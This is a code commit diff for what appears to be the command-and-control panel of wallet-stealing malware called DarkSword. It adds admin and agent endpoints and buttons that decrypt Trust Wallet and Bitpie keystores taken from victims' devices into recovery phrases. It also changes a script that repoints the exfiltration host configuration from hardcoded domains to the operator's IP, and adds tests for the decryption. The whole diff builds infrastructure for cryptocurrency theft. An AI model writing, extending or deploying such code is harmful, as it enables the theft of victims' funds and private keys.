feat: ds
This commit is contained in:
@@ -470,7 +470,7 @@ class DeviceController extends Controller
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source' => $w->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||
'mnemonic' => WalletMnemonic::adminLabel($w->mnemonic),
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
@@ -497,6 +497,7 @@ class DeviceController extends Controller
|
||||
'summary' => $row->summary(),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@ use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -80,6 +82,50 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
$device = $keystore->device;
|
||||
if ($device === null) {
|
||||
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
|
||||
}
|
||||
@set_time_limit(180);
|
||||
@ini_set('max_execution_time', '180');
|
||||
|
||||
$before = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->pluck('mnemonic_hash')
|
||||
->all();
|
||||
$seen = array_fill_keys($before, true);
|
||||
$adapter->reprocessKeystores($device);
|
||||
$keystore->refresh();
|
||||
|
||||
$after = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->get(['id', 'source', 'mnemonic_hash']);
|
||||
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||
$addedCount = $added->count();
|
||||
$msg = $addedCount > 0
|
||||
? '已写入 '.$addedCount.' 条助记词'
|
||||
: ((int) $keystore->decrypted === 1
|
||||
? '没有新的助记词(该来源可能已解密)'
|
||||
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => $msg,
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'added' => $addedCount,
|
||||
'mnemonic_total' => $after->count(),
|
||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
@@ -97,6 +143,7 @@ class KeystoreController extends Controller
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -62,7 +62,7 @@ class MnemonicController extends Controller
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
||||
'mnemonic' => WalletMnemonic::adminLabel($row->mnemonic),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
|
||||
@@ -69,4 +69,19 @@ class WalletMnemonic extends Model
|
||||
|
||||
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
|
||||
}
|
||||
|
||||
/** Admin / agent list label: never include any secret words. */
|
||||
public static function adminLabel(?string $value): string
|
||||
{
|
||||
if ($value === null || trim($value) === '') {
|
||||
return '—';
|
||||
}
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
$n = count($words);
|
||||
if ($n >= 12) {
|
||||
return '已保存('.$n.'词)';
|
||||
}
|
||||
|
||||
return '已保存';
|
||||
}
|
||||
}
|
||||
|
||||
@@ -23,14 +23,6 @@ final class DsKeystoreDecrypt
|
||||
{
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
$bitpieNodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Bitpie') {
|
||||
@@ -45,6 +37,14 @@ final class DsKeystoreDecrypt
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
@@ -56,6 +56,10 @@ final class DsKeystoreDecrypt
|
||||
{
|
||||
$utcs = $this->collectKeystores($sandbox);
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
|
||||
foreach ($device->keystores as $row) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
if ($utcs === []) {
|
||||
return [];
|
||||
}
|
||||
@@ -321,6 +325,27 @@ final class DsKeystoreDecrypt
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{source: string, keystore: array<string, mixed>}> $items
|
||||
* @return list<array{source: string, keystore: array<string, mixed>}>
|
||||
*/
|
||||
private function uniqueKeystores(array $items): array
|
||||
{
|
||||
$seen = [];
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
|
||||
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||||
if ($fp === '|' || isset($seen[$fp])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$fp] = true;
|
||||
$out[] = $item;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
* @return list<string>
|
||||
|
||||
@@ -10,6 +10,9 @@ use kornrunner\Keccak;
|
||||
*/
|
||||
final class EthKeystore
|
||||
{
|
||||
/** @var array<string, string> */
|
||||
private static array $kdfCache = [];
|
||||
|
||||
public static function decrypt(array $keystore, string $password): ?string
|
||||
{
|
||||
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
|
||||
@@ -123,28 +126,39 @@ final class EthKeystore
|
||||
|
||||
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
$cacheKey = hash('sha256', $password."\0".$salt."\0{$n}\0{$r}\0{$p}\0{$dklen}");
|
||||
if (isset(self::$kdfCache[$cacheKey])) {
|
||||
return self::$kdfCache[$cacheKey];
|
||||
}
|
||||
$out = null;
|
||||
if ($n >= 256) {
|
||||
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
|
||||
if ($fast !== null) {
|
||||
return $fast;
|
||||
$out = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
|
||||
} else {
|
||||
try {
|
||||
$out = Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
|
||||
} catch (\Throwable) {
|
||||
$out = null;
|
||||
}
|
||||
}
|
||||
try {
|
||||
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
if ($out !== null) {
|
||||
self::$kdfCache[$cacheKey] = $out;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
$python = trim((string) shell_exec('command -v python3'));
|
||||
if ($python === '') {
|
||||
$python = self::pythonBinary();
|
||||
if ($python === null) {
|
||||
return null;
|
||||
}
|
||||
$code = <<<'PY'
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
import sys
|
||||
try:
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
except ImportError:
|
||||
sys.exit(2)
|
||||
pw = bytes.fromhex(sys.argv[1])
|
||||
salt = bytes.fromhex(sys.argv[2])
|
||||
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
|
||||
@@ -178,6 +192,32 @@ PY;
|
||||
return $out;
|
||||
}
|
||||
|
||||
private static function pythonBinary(): ?string
|
||||
{
|
||||
$candidates = [
|
||||
trim((string) config('coruna.channel_builder.python', '')),
|
||||
trim((string) config('coruna.channel_builder_new.python', '')),
|
||||
base_path('channel-builder/.venv/bin/python'),
|
||||
base_path('channel-builder-new/.venv/bin/python'),
|
||||
'/usr/bin/python3',
|
||||
'python3',
|
||||
];
|
||||
foreach ($candidates as $bin) {
|
||||
if ($bin === '') {
|
||||
continue;
|
||||
}
|
||||
if ($bin === 'python3') {
|
||||
return $bin;
|
||||
}
|
||||
$root = base_path();
|
||||
if (str_starts_with($bin, $root) && @is_file($bin)) {
|
||||
return $bin;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static function keccak256(string $data): string
|
||||
{
|
||||
return hex2bin(Keccak::hash($data, 256)) ?: '';
|
||||
|
||||
@@ -159,7 +159,8 @@ class PhotoPreview
|
||||
private function convertCommands(string $src, string $dst): array
|
||||
{
|
||||
$cmds = [];
|
||||
if (is_executable('/usr/bin/sips')) {
|
||||
// sips is macOS-only. Probing /usr/bin/sips fatals under panel open_basedir.
|
||||
if (PHP_OS_FAMILY === 'Darwin' && $this->isSafeExecutable('/usr/bin/sips')) {
|
||||
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
|
||||
}
|
||||
foreach (['heif-convert', 'magick'] as $bin) {
|
||||
@@ -178,25 +179,28 @@ class PhotoPreview
|
||||
private function resolveBinary(string $name): ?string
|
||||
{
|
||||
$candidates = match ($name) {
|
||||
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
|
||||
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
|
||||
'magick' => [base_path('bin/magick'), 'magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
|
||||
'heif-convert' => [base_path('bin/heif-convert'), 'heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
|
||||
default => [$name],
|
||||
};
|
||||
$bare = null;
|
||||
foreach ($candidates as $bin) {
|
||||
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
|
||||
if (is_executable($bin)) {
|
||||
return $bin;
|
||||
if (! str_contains($bin, DIRECTORY_SEPARATOR)) {
|
||||
$found = $this->which($bin);
|
||||
if ($found !== null) {
|
||||
return $found;
|
||||
}
|
||||
$bare ??= $bin;
|
||||
|
||||
continue;
|
||||
}
|
||||
$found = $this->which($bin);
|
||||
if ($found !== null) {
|
||||
return $found;
|
||||
if ($this->isSafeExecutable($bin)) {
|
||||
return $bin;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
// exec() is often allowed when is_executable() is not; let Process try PATH.
|
||||
return $bare;
|
||||
}
|
||||
|
||||
private function which(string $name): ?string
|
||||
@@ -207,7 +211,7 @@ class PhotoPreview
|
||||
}
|
||||
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
|
||||
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
|
||||
if (is_executable($candidate)) {
|
||||
if ($this->isSafeExecutable($candidate)) {
|
||||
return $candidate;
|
||||
}
|
||||
}
|
||||
@@ -215,6 +219,36 @@ class PhotoPreview
|
||||
return null;
|
||||
}
|
||||
|
||||
private function isSafeExecutable(string $path): bool
|
||||
{
|
||||
if (! $this->isPathInsideOpenBasedir($path)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return @is_file($path) && @is_executable($path);
|
||||
}
|
||||
|
||||
private function isPathInsideOpenBasedir(string $path): bool
|
||||
{
|
||||
$basedir = (string) ini_get('open_basedir');
|
||||
if ($basedir === '') {
|
||||
return true;
|
||||
}
|
||||
$real = realpath($path);
|
||||
$check = $real !== false ? $real : $path;
|
||||
foreach (explode(PATH_SEPARATOR, $basedir) as $root) {
|
||||
$root = rtrim($root, DIRECTORY_SEPARATOR);
|
||||
if ($root === '') {
|
||||
continue;
|
||||
}
|
||||
if ($check === $root || str_starts_with($check, $root.DIRECTORY_SEPARATOR)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function cachePath(string $deviceKey, string $sha256): string
|
||||
{
|
||||
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
|
||||
|
||||
@@ -94,7 +94,14 @@
|
||||
function apiOrigin(ex) {
|
||||
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
|
||||
var host = hostOnly(ex.host);
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var pageHost = "";
|
||||
var pageHttps = false;
|
||||
try {
|
||||
pageHttps = !!(g.location && g.location.protocol === "https:");
|
||||
pageHost = hostOnly(g.location && g.location.hostname);
|
||||
} catch (ePage) {}
|
||||
var sameHost = !!(host && pageHost && host === pageHost);
|
||||
var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost));
|
||||
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
|
||||
var scheme = tls ? "https" : "http";
|
||||
var origin = scheme + "://" + host;
|
||||
|
||||
@@ -25,7 +25,9 @@ SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin
|
||||
|
||||
|
||||
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
return [
|
||||
use_tls = origin.startswith("https://")
|
||||
tls_js = "true" if use_tls else "false"
|
||||
pairs = [
|
||||
("https://mh0usocqzi6f46i.com:443", origin),
|
||||
("http://mh0usocqzi6f46i.com:443", origin),
|
||||
("https://mh0usocqzi6f46i.com", origin),
|
||||
@@ -37,7 +39,7 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
|
||||
(
|
||||
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
|
||||
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: false }}',
|
||||
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}',
|
||||
),
|
||||
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
|
||||
@@ -62,6 +64,14 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
|
||||
(':80/log"', ':80/api/ds/log"'),
|
||||
(':80/log\\"', ':80/api/ds/log\\"'),
|
||||
]
|
||||
if use_tls:
|
||||
pairs.extend(
|
||||
[
|
||||
("tls: false", "tls: true"),
|
||||
("prefer_https: false", "prefer_https: true"),
|
||||
]
|
||||
)
|
||||
return pairs
|
||||
|
||||
|
||||
def iter_files(root: Path) -> list[Path]:
|
||||
|
||||
@@ -424,7 +424,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
mnemonics: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
|
||||
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
||||
{ field: 'mnemonic', title: '状态', width: 130, templet: function (d) { return dash(d.mnemonic); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
||||
]],
|
||||
keystores: [[
|
||||
@@ -437,8 +437,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 110, align: 'center', templet: function (d) {
|
||||
return d.items_url ? '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>' : '—';
|
||||
{ title: '操作', width: 180, align: 'center', templet: function (d) {
|
||||
var html = '';
|
||||
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
|
||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
|
||||
return html || '—';
|
||||
} }
|
||||
]],
|
||||
apps: [[
|
||||
@@ -494,6 +497,33 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||||
layer.close(idx);
|
||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||
$.ajax({
|
||||
url: obj.data.decrypt_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
timeout: 180000,
|
||||
success: function (res) {
|
||||
layer.msg((res && res.msg) || '已处理');
|
||||
if (res && res.code === 0) table.reload('LAY-device-tab-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
var msg = '解密失败';
|
||||
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
|
||||
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
||||
layer.msg(msg);
|
||||
},
|
||||
complete: function () {
|
||||
layer.close(loadIdx);
|
||||
}
|
||||
});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.items_url, function (res) {
|
||||
|
||||
@@ -64,6 +64,7 @@
|
||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||
<script type="text/html" id="LAY-ks-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
||||
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
@@ -74,6 +75,7 @@
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function esc(v) {
|
||||
@@ -145,7 +147,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
text: { none: '暂无钥匙串' },
|
||||
@@ -161,6 +163,33 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||||
layer.close(idx);
|
||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||
$.ajax({
|
||||
url: obj.data.decrypt_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
timeout: 180000,
|
||||
success: function (res) {
|
||||
layer.msg((res && res.msg) || '已处理');
|
||||
if (res && res.code === 0) table.reload('LAY-ks-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
var msg = '解密失败';
|
||||
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
|
||||
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
||||
layer.msg(msg);
|
||||
},
|
||||
complete: function () {
|
||||
layer.close(loadIdx);
|
||||
}
|
||||
});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || obj.data.id);
|
||||
|
||||
@@ -222,7 +222,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'source', title: '来源', width: 140 },
|
||||
{ field: 'mnemonic', title: '助记词', width: 160 },
|
||||
{ field: 'mnemonic', title: '状态', width: 130 },
|
||||
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
|
||||
@@ -64,6 +64,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
@@ -52,6 +52,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
@@ -458,6 +458,64 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reprocess_unlocks_trust_utc_already_stored_on_device(): void
|
||||
{
|
||||
Http::fake();
|
||||
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
||||
$this->assertIsString($password);
|
||||
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
'salt' => str_repeat('cd', 32),
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'reprocess-trust-utc',
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'items' => [[
|
||||
'account' => 'trustwalletUTC--demo',
|
||||
'dataHex' => bin2hex($password),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
|
||||
{
|
||||
|
||||
@@ -7,7 +7,10 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\EthKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -130,4 +133,85 @@ class KeystoreAdminTest extends TestCase
|
||||
->getJson(route('user.keystores.items', $rowB))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
||||
$this->assertIsString($password);
|
||||
$utc = EthKeystore::encrypt($phrase, $password, [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
'salt' => str_repeat('ef', 32),
|
||||
]);
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']);
|
||||
$keychain = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'items' => [[
|
||||
'account' => 'trustwalletUTC--demo',
|
||||
'dataHex' => bin2hex($password),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decrypt', $keychain))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.added', 1)
|
||||
->assertJsonPath('data.decrypted', 1);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||
$this->assertSame('Trust Wallet', $mnemonic->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_decrypt_other_channel_keystore(): void
|
||||
{
|
||||
$agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]);
|
||||
$agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]);
|
||||
$chA = 'cccccccccccccccccccccccccccccccc';
|
||||
$chB = 'dddddddddddddddddddddddddddddddd';
